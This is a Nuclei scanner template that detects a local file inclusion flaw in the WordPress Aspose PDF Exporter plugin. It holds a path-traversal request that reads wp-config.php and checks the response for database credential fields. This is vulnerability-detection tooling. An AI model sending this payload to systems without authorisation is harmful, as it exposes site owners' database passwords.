id: aspose-pdf-file-download

info:
  name: WordPress Aspose PDF Exporter - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose PDF Exporter is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/131161
    - https://wordpress.org/plugins/aspose-pdf-exporter
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23,CWE-73
  metadata:
    max-request: 1
  tags: aspose,packetstorm,wordpress,wp-plugin,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b617406f244092a7a0a0a68094ecd0701eb4b4d4ce39be1f0d5a29010d79d0fd02210088f0dbe2ef46b72ad4e294a2a1d48df6613bab9e042efe2747ffae385c82ab10:922c64590222798bb761d5b6d8e72950